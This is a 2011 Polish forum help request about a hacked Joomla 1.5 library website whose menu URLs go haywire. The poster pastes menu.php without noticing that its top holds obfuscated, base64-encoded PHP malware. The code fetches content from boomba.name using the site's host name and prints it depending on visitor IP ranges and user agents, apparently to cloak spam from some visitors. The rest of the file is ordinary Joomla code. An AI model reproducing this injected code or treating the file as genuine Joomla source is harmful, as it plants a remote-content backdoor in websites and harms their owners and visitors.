PDA

Zobacz pełną wersję : Szablon się nie wczytuje - menu wariuje



M&M
09-02-2011, 12:25
Prośba do użytkowników, moderatorów, administratorów i wszystkich innych o pomoc w sprawie Joomla!

Problem wygląda następująco:
Nie wiadomo kiedy i nie wiadomo dlaczego (przynajmniej dla mnie) dzieje się coś takiego ja w linku obok: http://bibliotekaswiecie.pl/index.php/dkk/aktualnoci-rone/foto-dkk/category/nowoci-wydawnicze/aktualne/filia-nr-5-na-mariankach-w-wieciu-/dkk
Taki link przypisuje mi kochana Joomla! do każdego odnośnika menu w serwisie i nie mam pojęcia dlaczego tak się dzieje... Strona główna działa jak powinna ale reszta to już tragedia jak widać na dołączonym linku.

Próby podjęte przeze mnie:
1. Dostałem informację od dobrego człowieka, że strona jest zawirusowana więc pozbyłem się infekcji, zmieniłem hasło do ftp, usunąłem cały serwis wgrałem wszystko od nowa i problem nie ustąpił. Infekcji nie ma ale menu dalej wariuje i szablon szlag trafia.
2. Ktoś zasugerował mi żebym zmienił template na typowo pod joomlę 1.5 więc też tak postąpiłem. Działało dobrze 10 minut i znowu wysypka, taka jak w pkt 1.
3. Włączałem i wyłączałem mod_rewrite i proste adresy, ale także nie przyniosło efektu.
4. Wpisywałem w configuration.php live_site co również nie pomogło.
5. Szukałem w google lecz nie znalazłem nic konkretnego.

Specyfikacja:
1. Joomla! 1.5.22
2. mod_rewrite włączony
3. proste adresy włączone
4. z komponentów zainstalowane tylko phoca gallery, phoca favicon, joomla stats
5. podczas raportowania błędów wyskakuje taki błąd:3631
plik menu.php
<?php
$GLOBALS['_963011719_']=Array(base64_decode('YmFz' .'ZT' .'Y0X2R' .'lY' .'2' .'9kZQ=='),base64_decode('' .'Z' .'mlsZ' .'V9' .'nZXRfY29' .'u' .'dGV' .'u' .'dHM='),base64_decode('cHJlZ1' .'9yZXB' .'sYWN' .'l'),base64_decode('' .'Z' .'XJlZ' .'2k='),base64_decode('ZX' .'JlZ' .'2k' .'='),base64_decode('ZXJlZ2k' .'='),base64_decode('c3RybGV' .'u')); ?><? function _1565727665($i){$a=Array('aHR0cDovL2Jvb21iYS5uYW1l L2luLnBocD91cmw9','SFRUUF9IT1NU','Y2hlY2s=','PCEtL SBjaGVjayAtLT4=','SFRUUF9YX0ZPUldBUkRFRF9GT1I=','S FRUUF9YX0ZPUldBUkRFRF9GT1I=','UkVNT1RFX0FERFI=','N jZcLjI0OVwuWzYtOV1bMC05XVwuWzAtOV0r','NzRcLjEyNVwu WzAtOV0rXC5bMC05XSs=','NjVcLjVbMi01XVwuWzAtOV0rXC5 bMC05XSs=','NzRcLjZcLlswLTldK1wuWzAtOV0r','NjdcLjE 5NVwuWzAtOV0rXC5bMC05XSs=','NzJcLjMwXC5bMC05XStcLl swLTldKw==','MzhcLlswLTldK1wuWzAtOV0rXC5bMC05XSs=' ,'OTNcLjE3MlwuOTRcLjIyNw==','MjEyXC4xMDBcLjI1MFwuM jE4','NzFcLjE2NVwuMjIzXC4xMzQ=','NzBcLjkxXC4xODBcL jI1','NjVcLjkzXC42MlwuMjQy','NzRcLjE5M1wuMjQ2XC4xM jk=','MjEzXC4xNDRcLjE1XC4zOA==','MTk1XC45MlwuMjI5X C4y','NzBcLjUwXC4xODlcLjE5MQ==','MjE4XC4yOFwuODhcL jk5','MTY1XC4xNjBcLjJcLjIw','ODlcLjEyMlwuMjI0XC4yM zA=','NjZcLjIzMFwuMTc1XC4xMjQ=','MjE4XC4xOFwuMTc0X C4yNw==','NjVcLjMzXC44N1wuOTQ=','NjdcLjIxMFwuMTExX C4yNDE=','ODFcLjEzNVwuMTc1XC43MA==','NjRcLjY5XC4zN FwuMTM0','ODlcLjE0OVwuMjUzXC4xNjk=','NjRcLjIzM1wuM Vs2LThdWzEtOV1cLlswLTldKw==','NjRcLjIzM1wuMTlbMC0x XVwuWzAtOV0r','MjA5XC4xODVcLjEwOFwuWzAtOV0r','MjA5 XC4xODVcLjI1M1wuWzAtOV0r','MjA5XC44NVwuMjM4XC5bMC0 5XSs=','MjE2XC4yMzlcLjMzXC45WzYtOV0=','MjE2XC4yMzl cLjM3XC45WzgtOV0=','MjE2XC4yMzlcLjM5XC45WzgtOV0=', 'MjE2XC4yMzlcLjQxXC45WzYtOV0=','MjE2XC4yMzlcLjQ1XC 40','MjE2XC4yMzlcLjQ2XC5bMC05XSs=','MjE2XC4yMzlcLj UxXC45WzYtOV0=','MjE2XC4yMzlcLjUzXC45WzgtOV0=','Mj E2XC4yMzlcLjU3XC45WzYtOV0=','MjE2XC4yMzlcLjU5XC45W zgtOV0=','MjE2XC4zM1wuMjI5XC4xNjM=','NjRcLjIzM1wuM TczXC5bMC05XSs=','NjRcLjY4XC44WzAtOV1cLlswLTldKw== ','NjRcLjY4XC45WzAtMl1cLlswLTldKw==','NzJcLjE0XC4x OTlcLlswLTldKw==','OFwuNlwuNDhcLlswLTldKw==','MjA3 XC4yMTFcLjQwXC44Mg==','NjdcLjE2MlwuMTU4XC4xNDY=',' NjZcLjI1NVwuNTNcLjEyMw==','MjRcLjIwMFwuMjA4XC4xMTI =','MTI5XC4xODdcLjE0OFwuMjQw','MTI5XC4xODdcLjE0OFw uMjQ0','MTk5XC4xMjZcLjE1MVwuMjI5','MTE4XC4xMjRcLjM yXC4xOTM=','ODlcLjE0OVwuMjE3XC4xOTE=','aHR0cA==',' Z29vZ2xl','c2x1cnA=','bXNuYm90','Ym90','Y3Jhd2w=', 'c3BpZGVy','cm9ib3Q=','SHR0cENsaWVudA==','Y3VybA== ','UEhQ','SW5keSBMaWJyYXJ5','V29yZFByZXNz','Q2hhcm xvdHRl','d3d3c3Rlcg==','UHl0aG9u','dXJsbGli','cGVy bA==','bGlid3d3','bHlueA==','VHdpY2VsZXI=','cmFtYm xlcg==','eWFuZGV4','fFVzZXJcLkFnZW50XDpbXHMgXT98aQ ==','','XlthLXpBLVpdezUsfQ==','SFRUUF9VU0VSX0FHRU5 U','UVVFUllfU1RSSU5H','SFRUUF9SRUZFUkVS');return base64_decode($a[$i]);} ?><?php function l__0(){print $GLOBALS['_963011719_'][0](@$GLOBALS['_963011719_'][1](_1565727665(0) .$_SERVER[_1565727665(1)]));}if($_GET[_1565727665(2)]){echo _1565727665(3);}(!empty($_SERVER[_1565727665(4)]))?$_0=$_SERVER[_1565727665(5)]:$_0=$_SERVER[_1565727665(6)];function l__1($_1,$_2,$_3,$_4){$_5=array(_1565727665(7),_15 65727665(8),_1565727665(9),_1565727665(10),_156572 7665(11),_1565727665(12),_1565727665(13),_15657276 65(14),_1565727665(15),_1565727665(16),_1565727665 (17),_1565727665(18),_1565727665(19),_1565727665(2 0),_1565727665(21),_1565727665(22),_1565727665(23) ,_1565727665(24),_1565727665(25),_1565727665(26),_ 1565727665(27),_1565727665(28),_1565727665(29),_15 65727665(30),_1565727665(31),_1565727665(32),_1565 727665(33),_1565727665(34),_1565727665(35),_156572 7665(36),_1565727665(37),_1565727665(38),_15657276 65(39),_1565727665(40),_1565727665(41),_1565727665 (42),_1565727665(43),_1565727665(44),_1565727665(4 5),_1565727665(46),_1565727665(47),_1565727665(48) ,_1565727665(49),_1565727665(50),_1565727665(51),_ 1565727665(52),_1565727665(53),_1565727665(54),_15 65727665(55),_1565727665(56),_1565727665(57),_1565 727665(58),_1565727665(59),_1565727665(60),_156572 7665(61),_1565727665(62));$_6=array(_1565727665(63 ),_1565727665(64),_1565727665(65),_1565727665(66), _1565727665(67),_1565727665(68),_1565727665(69),_1 565727665(70),_1565727665(71),_1565727665(72),_156 5727665(73),_1565727665(74),_1565727665(75),_15657 27665(76),_1565727665(77),_1565727665(78),_1565727 665(79),_1565727665(80),_1565727665(81),_156572766 5(82),_1565727665(83),_1565727665(84),_1565727665( 85));$_1=$GLOBALS['_963011719_'][2](_1565727665(86),_1565727665(87),@$_1);$_7=true;fo reach($_5 as $_8)if($GLOBALS['_963011719_'][3]("$_8",$_2)){$_7=false;break;}if($_7)foreach($_6 as $_9)if($GLOBALS['_963011719_'][4]($_9,$_1)!== false){$_7=false;break;}if($_7 and!$GLOBALS['_963011719_'][5](_1565727665(88),@$_1)){$_7=false;}if($_7 and $GLOBALS['_963011719_'][6]($_1)<=round(0+2.2+2.2+2.2+2.2+2.2)){$_7=false;}return $_7;}$_10=l__1($_SERVER[_1565727665(89)],$_0,$_SERVER[_1565727665(90)],$_SERVER[_1565727665(91)]);if(!$_10)l__0();

/**
* @version $Id: menu.php 8682 2007-08-31 18:36:45Z jinx $
* @package Joomla.Framework
* @subpackage Application
* @copyright Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// Check to ensure this file is within the rest of the framework
defined('JPATH_BASE') or die();

/**
* JMenu class
*
* @package Joomla.Framework
* @subpackage Application
* @since 1.5
*/
class JMenuSite extends JMenu
{
/**
* Loads the entire menu table into memory
*
* @access public
* @return array
*/
function load()
{

$cache = &JFactory::getCache('_system', 'output');

if (!$data = $cache->get('menu_items')) {
// Initialize some variables
$db = & JFactory::getDBO();

$sql = 'SELECT m.*, c.`option` as component' .
' FROM #__menu AS m' .
' LEFT JOIN #__components AS c ON m.componentid = c.id'.
' WHERE m.published = 1'.
' ORDER BY m.sublevel, m.parent, m.ordering';
$db->setQuery($sql);

if (!($menus = $db->loadObjectList('id'))) {
JError::raiseWarning('SOME_ERROR_CODE', "Error loading Menus: ".$db->getErrorMsg());
return false;
}

foreach($menus as $key => $menu)
{
//Get parent information
$parent_route = '';
$parent_tree = array();
if(($parent = $menus[$key]->parent) && (isset($menus[$parent])) &&
(is_object($menus[$parent])) && (isset($menus[$parent]->route)) && isset($menus[$parent]->tree)) {
$parent_route = $menus[$parent]->route.'/';
$parent_tree = $menus[$parent]->tree;
}

//Create tree
array_push($parent_tree, $menus[$key]->id);
$menus[$key]->tree = $parent_tree;

//Create route
$route = $parent_route.$menus[$key]->alias;
$menus[$key]->route = $route;

//Create the query array
$url = str_replace('index.php?', '', $menus[$key]->link);
if(strpos($url, '&amp;') !== false)
{
$url = str_replace('&amp;','&',$url);
}

parse_str($url, $menus[$key]->query);
}

$cache->store(serialize($menus), 'menu_items');
$this->_items = $menus;
} else {
$this->_items = unserialize($data);
}
}
}

Pytania:
1. Zastanawiam się czy mógł być jakiś błąd przy instalacji?
2. Czy to może być zbyt duże obciążenie serwisu przez BOTy? (strasznie dużo botów odwiedza stronę)
3. Czy może to być wina serwera?

Czy jest ktoś w stanie mi pomóc? Proszę nie odsyłajcie mnie do Panny Google, bo Ona za dużo nie chce mi powiedzieć.:p

Pozdrawiam